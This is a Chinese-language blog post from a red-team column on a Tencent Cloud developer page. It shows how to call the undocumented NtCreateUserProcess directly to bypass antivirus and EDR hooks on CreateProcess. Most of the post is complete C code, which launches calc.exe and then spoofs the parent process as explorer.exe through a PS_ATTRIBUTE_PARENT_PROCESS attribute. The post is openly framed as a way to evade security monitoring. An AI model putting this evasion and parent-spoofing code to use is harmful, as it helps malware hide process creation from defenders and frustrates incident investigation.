前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >调用NtCreateUserProcess创建进程绕过杀软hook

调用NtCreateUserProcess创建进程绕过杀软hook

原创
作者头像
红队蓝军
发布2022-05-16 15:09:24
1.8K0
发布2022-05-16 15:09:24
举报
文章被收录于专栏:红队蓝军红队蓝军

CreateProcess

CreateProcess在3环最终会调用ntdll!NtCreateUserProcess通过syscall进入0环,我们可以通过调用NtCreateUserProcess来规避AV/EDR对CreateProcess的监控

NtCreateUserProcess

NtCreateUserProcess并未文档化,通过逆向可以得到以下结构

NTSTATUS NTAPI NtCreateUserProcess( _Out_ PHANDLE ProcessHandle, _Out_ PHANDLE ThreadHandle, _In_ ACCESS_MASK ProcessDesiredAccess, _In_ ACCESS_MASK ThreadDesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes, _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes, _In_ ULONG ProcessFlags, _In_ ULONG ThreadFlags, _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters, _Inout_ PPS_CREATE_INFO CreateInfo, _In_ PPS_ATTRIBUTE_LIST AttributeList );

这里一个个参数来看,ProcessHandle和ThreadHandle为进程线程句柄,设置为NULL即可

HANDLE hProcess, hThread = NULL;

接下来两个参数ProcessDesiredAccess、ThreadDesiredAccess为控制权限,全部设置为THREAD_ALL_ACCESS即可

ProcessObjectAttributes和ThreadObjectAttributes,它们是指向 的指针OBJECT_ATTRIBUTES,此结构包含可应用于将要创建的对象或对象句柄的属性,这里设置为NULL

ProcessFlags和ThreadFlags内部设置的标志ThreadFlags决定了我们希望如何创建进程和线程,这里也都设置为NULL即可

再看ProcessParameters参数,指向一个RTL_USER_PROCESS_PARAMETERS结构,该结构描述了要创建的进程的启动参数

这里使用RtlCreateProcessParametersEx来初始化,结构如下

NTSTATUS NTAPI RtlCreateProcessParametersEx( _Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters, _In_ PUNICODE_STRING ImagePathName, _In_opt_ PUNICODE_STRING DllPath, _In_opt_ PUNICODE_STRING CurrentDirectory, _In_opt_ PUNICODE_STRING CommandLine, _In_opt_ PVOID Environment, _In_opt_ PUNICODE_STRING WindowTitle, _In_opt_ PUNICODE_STRING DesktopInfo, _In_opt_ PUNICODE_STRING ShellInfo, _In_opt_ PUNICODE_STRING RuntimeData, _In_ ULONG Flags );

第一个参数指向的就是RTL_USER_PROCESS_PARAMETERS结构,第二个参数即要启动的exe路径,这里以calc.exe为例

UNICODE_STRING NtImagePath; RtlInitUnicodeString(&NtImagePath, (PWSTR)L"\\??\\C:\\Windows\\System32\\calc.exe");

然后剩下的参数(除了最后一个)可以全部设置为NULL,最后一个参数Flags用来规范RTL_USER_PROCESS_PARAMETERS_NORMALIZED,创建进程时,一些输入甚至还没有完全初始化。如果发生这种情况,则有可能正在访问的内存只是描述进程的结构的相对偏移量,而不是实际的内存地址,初始化ProcessParameters的代码如下

RtlCreateProcessParametersEx(&ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED);

下一个参数是CreateInfo,它是一个指向PS_CREATE_INFO结构的指针,这个结构也是一个未文档化的结构

这里设置为PsCreateInitialState即可

PS_CREATE_INFO CreateInfo = { 0 }; CreateInfo.Size = sizeof(CreateInfo); CreateInfo.State = PsCreateInitialState;

最后一个参数AttributeList用于设置进程和线程创建的属性,这里使用RtlAllocateHeap初始化

PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE)); AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE); AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME; AttributeList->Attributes[0].Size = NtImagePath.Length; AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;

然后使用NtCreateUserProcess如下

NtCreateUserProcess(&hProcess, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo, AttributeList);

因为我们是在堆里面分配的空间,需要用RtlFreeHeap释放堆空间,使用RtlDestroyProcessParameters()释放存储在RTL_USER_PROCESS_PARAMETERS结构中的进程参数

RtlFreeHeap(RtlProcessHeap(), 0, AttributeList); RtlDestroyProcessParameters(ProcessParameters);

完整代码如下

void NtCreateUserProcess() { UNICODE_STRING NtImagePath; RtlInitUnicodeString(&NtImagePath, (PWSTR)L"\\??\\C:\\Windows\\System32\\calc.exe"); PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL; RtlCreateProcessParametersEx(&ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED); PS_CREATE_INFO CreateInfo = { 0 }; CreateInfo.Size = sizeof(CreateInfo); CreateInfo.State = PsCreateInitialState; PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE)); AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE); AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME; AttributeList->Attributes[0].Size = NtImagePath.Length; AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer; HANDLE hProcess, hThread = NULL; if (FALSE == NtCreateUserProcess(&hProcess, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo, AttributeList)) { printf("NtCreateUserProcess successfully\n"); } RtlFreeHeap(RtlProcessHeap(), 0, AttributeList); RtlDestroyProcessParameters(ProcessParameters); }

这里注意,因为这里需要使用到一些未导出的结构,这里就需要一个完整的头文件去包含这些结构确保不会出错,这里使用到x64dbg的ntdll.h文件,链接如下:https://github.com/x64dbg/TitanEngine/blob/x64dbg/TitanEngine/ntdll.h

实现效果如下

父进程欺骗

我们在使用CreateProcess创建进程的时候能通过设置特定的参数来达到欺骗的效果,在NtCreateUserProcess里面也同样能够做到

这里我们首先看一下之前我们生成的进程,可以看到父进程为svchost.exe

那么这里我们首先找到explorer的PID,为5720

通过NtOpenProcess获得其句柄

OBJECT_ATTRIBUTES oa; InitializeObjectAttributes(&oa, 0, 0, 0, 0); CLIENT_ID PID = { (HANDLE)5720, NULL }; HANDLE hParent = NULL; NtOpenProcess(&hParent, PROCESS_ALL_ACCESS, &oa, &PID);

添加属性即可

AttributeList->Attributes[1].Attribute = PS_ATTRIBUTE_PARENT_PROCESS; AttributeList->Attributes[1].Size = sizeof(HANDLE); AttributeList->Attributes[1].ValuePtr = hParent;

首先使用之前的代码打开mmc,可以看到跟父进程不是explorer

添加代码即可伪造父进程为explorer

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档